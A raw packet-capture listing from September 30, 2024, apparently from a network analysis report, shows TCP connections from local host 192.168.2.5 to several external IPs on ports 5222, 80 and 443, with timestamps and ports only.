Sep 30, 2024 12:20:41.069365978 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.069472075 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.069768906 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.074501991 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.091403008 CEST	443	49789	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:41.091907024 CEST	49793	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.096738100 CEST	80	49793	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.096801043 CEST	49793	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.096807957 CEST	80	49790	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.096818924 CEST	5222	49788	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.097022057 CEST	49793	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.101818085 CEST	80	49793	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.101875067 CEST	49793	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.106648922 CEST	80	49793	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.108814001 CEST	5222	49775	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.108867884 CEST	49775	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.114667892 CEST	443	49779	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.114675999 CEST	443	49778	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:41.114734888 CEST	49779	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.114748955 CEST	49778	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:41.114761114 CEST	49779	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.114857912 CEST	49778	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:41.162220001 CEST	49791	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.195568085 CEST	443	49781	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:41.195651054 CEST	49781	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:41.195672989 CEST	49781	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:41.207393885 CEST	443	49791	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.221338987 CEST	5222	49777	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.221489906 CEST	49777	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.291327000 CEST	49794	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.291376114 CEST	443	49794	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.291446924 CEST	49794	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.292685032 CEST	49794	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.292702913 CEST	443	49794	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.302962065 CEST	443	49784	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.303036928 CEST	49784	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.303071022 CEST	49784	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.315941095 CEST	5222	49782	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.316018105 CEST	49782	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.333507061 CEST	443	49786	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:41.333586931 CEST	49786	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:41.333616018 CEST	49786	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:41.386040926 CEST	49794	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.417572975 CEST	443	49789	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:41.417654037 CEST	49789	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:41.417778969 CEST	49789	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:41.427402973 CEST	443	49794	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.448574066 CEST	5222	49785	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.448652029 CEST	49785	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.501976013 CEST	49795	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.502021074 CEST	443	49795	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.502106905 CEST	49795	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.503993988 CEST	49795	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.504013062 CEST	443	49795	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.517512083 CEST	443	49791	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.517633915 CEST	443	49791	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.517672062 CEST	49791	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.517672062 CEST	49791	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.517672062 CEST	49791	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.552021980 CEST	5222	49788	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.552092075 CEST	49788	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.565097094 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.565552950 CEST	49793	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.567228079 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.572094917 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.608793974 CEST	49795	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.612869024 CEST	80	49793	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.651411057 CEST	443	49795	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.683798075 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.684757948 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.689625025 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700395107 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700406075 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700417042 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700427055 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700440884 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700448036 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.700452089 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700464964 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700506926 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.700520992 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700541973 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700583935 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.700612068 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700623989 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.700655937 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.718116999 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.718135118 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.718188047 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.719897032 CEST	49796	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.719938993 CEST	443	49796	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.720081091 CEST	49796	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.721385002 CEST	49796	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.721414089 CEST	443	49796	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.769623041 CEST	443	49794	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.769701958 CEST	49794	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.769721031 CEST	49794	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.780544043 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.780556917 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.780646086 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.791172028 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.791186094 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.791198015 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.791223049 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.791254044 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.791337013 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.791348934 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.791392088 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.791507959 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.791671991 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.791682959 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.791695118 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.791712046 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.791732073 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.791752100 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.792494059 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.792505980 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.792521000 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.792553902 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.792567968 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.792651892 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.792666912 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.792749882 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.792924881 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.792958975 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.792975903 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.793015957 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.797748089 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.810952902 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.810971975 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.810983896 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.810993910 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.811067104 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.828006983 CEST	49796	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.851794958 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.851816893 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.851828098 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.851869106 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.871299028 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.871318102 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.871330976 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.871371984 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.871419907 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.875401020 CEST	443	49796	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.881956100 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.881968975 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.881979942 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.881990910 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.882002115 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.882030964 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.882078886 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.882098913 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.882111073 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.882144928 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.882285118 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.882297039 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.882308960 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.882320881 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.882325888 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.882342100 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.882360935 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.882395983 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.883121014 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.883193970 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.883203983 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.883214951 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.883248091 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.883275032 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.883331060 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.883362055 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.883374929 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.883423090 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.883490086 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.883502960 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.883513927 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:41.883536100 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.883554935 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.957602024 CEST	49797	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.957643986 CEST	443	49797	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.957762003 CEST	49797	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.959292889 CEST	49797	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.959306955 CEST	443	49797	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.975023985 CEST	443	49795	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.975116014 CEST	49795	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.975141048 CEST	443	49795	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.975150108 CEST	49795	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.975200891 CEST	49795	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.986990929 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:42.032778025 CEST	5222	49792	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:42.051147938 CEST	49797	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.095402956 CEST	443	49797	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.165529013 CEST	49798	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.165574074 CEST	443	49798	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.165709972 CEST	49798	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.167007923 CEST	49798	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.167030096 CEST	443	49798	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.189004898 CEST	443	49796	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.189138889 CEST	443	49796	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.189179897 CEST	49796	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.189215899 CEST	49796	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.189249039 CEST	49796	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.274034023 CEST	49798	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.315404892 CEST	443	49798	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.404685974 CEST	49799	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.404738903 CEST	443	49799	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.404855013 CEST	49799	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.406131983 CEST	49799	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.406162024 CEST	443	49799	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.444252968 CEST	443	49797	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.444372892 CEST	49797	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.444472075 CEST	49797	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.498146057 CEST	49799	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.521104097 CEST	80	49793	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:42.521162987 CEST	49793	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:42.539410114 CEST	443	49799	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.614429951 CEST	49800	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.614543915 CEST	443	49800	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.614629984 CEST	49800	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.617252111 CEST	49800	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.617289066 CEST	443	49800	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.655138969 CEST	443	49798	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.655256987 CEST	443	49798	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.655302048 CEST	49798	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.655358076 CEST	49798	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.655358076 CEST	49798	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.722098112 CEST	49800	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.763411999 CEST	443	49800	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.866760015 CEST	443	49799	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:42.866831064 CEST	49799	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:42.866856098 CEST	49799	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.073733091 CEST	443	49800	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.073811054 CEST	49800	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.073827028 CEST	49800	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.252099037 CEST	49801	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.252136946 CEST	443	49801	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.252300978 CEST	49801	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.253766060 CEST	49801	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.253778934 CEST	443	49801	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.357532978 CEST	49801	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.399415970 CEST	443	49801	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.474411011 CEST	49804	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.474452019 CEST	443	49804	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.474514961 CEST	49804	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.476598024 CEST	49804	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.476613998 CEST	443	49804	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.586021900 CEST	49804	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.627405882 CEST	443	49804	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.712625980 CEST	49805	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.712627888 CEST	443	49801	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.712676048 CEST	443	49805	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.712697029 CEST	49801	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.712764978 CEST	49801	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.712770939 CEST	49805	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.714292049 CEST	49805	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.714310884 CEST	443	49805	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.821914911 CEST	49805	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.863410950 CEST	443	49805	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.934328079 CEST	443	49804	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.934406996 CEST	49804	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.934432983 CEST	49804	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.936455011 CEST	49806	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.936505079 CEST	443	49806	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:43.936995983 CEST	49806	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.938072920 CEST	49806	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:43.938086987 CEST	443	49806	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.045973063 CEST	49806	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.091412067 CEST	443	49806	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.160269022 CEST	49807	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.160315990 CEST	443	49807	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.160444021 CEST	49807	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.161742926 CEST	49807	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.161753893 CEST	443	49807	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.265655994 CEST	49807	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.311405897 CEST	443	49807	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.387398958 CEST	49808	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.387444973 CEST	443	49808	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.387516022 CEST	49808	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.388812065 CEST	49808	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.388829947 CEST	443	49808	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.412012100 CEST	443	49805	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.412079096 CEST	49805	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.412107944 CEST	49805	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.412188053 CEST	443	49806	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.412251949 CEST	49806	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.412251949 CEST	49806	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.493026972 CEST	49808	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.539403915 CEST	443	49808	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.632314920 CEST	443	49807	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.632405996 CEST	49807	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.632427931 CEST	49807	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.636332035 CEST	49809	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.636379004 CEST	443	49809	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.636466980 CEST	49809	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.637815952 CEST	49809	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.637826920 CEST	443	49809	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.715903044 CEST	49809	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.763411999 CEST	443	49809	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.831418037 CEST	49810	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.831454992 CEST	443	49810	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.831648111 CEST	49810	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.832734108 CEST	49810	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.832748890 CEST	443	49810	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.908463955 CEST	443	49808	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:44.908557892 CEST	49808	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.908557892 CEST	49808	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.940088987 CEST	49810	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:44.987416029 CEST	443	49810	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.086962938 CEST	49811	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.086997032 CEST	443	49811	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.087147951 CEST	49811	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.088210106 CEST	49811	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.088229895 CEST	443	49811	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.110230923 CEST	443	49809	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.110313892 CEST	49809	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.110340118 CEST	49809	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.196264029 CEST	49811	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.243407965 CEST	443	49811	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.316682100 CEST	443	49810	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.316746950 CEST	49810	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.316773891 CEST	49810	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.330447912 CEST	49812	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.330483913 CEST	443	49812	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.330559015 CEST	49812	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.332664013 CEST	49812	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.332679033 CEST	443	49812	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.468883991 CEST	49812	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.511441946 CEST	443	49812	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.565905094 CEST	443	49811	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:45.565974951 CEST	49811	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:45.565994978 CEST	49811	443	192.168.2.5	188.114.97.3
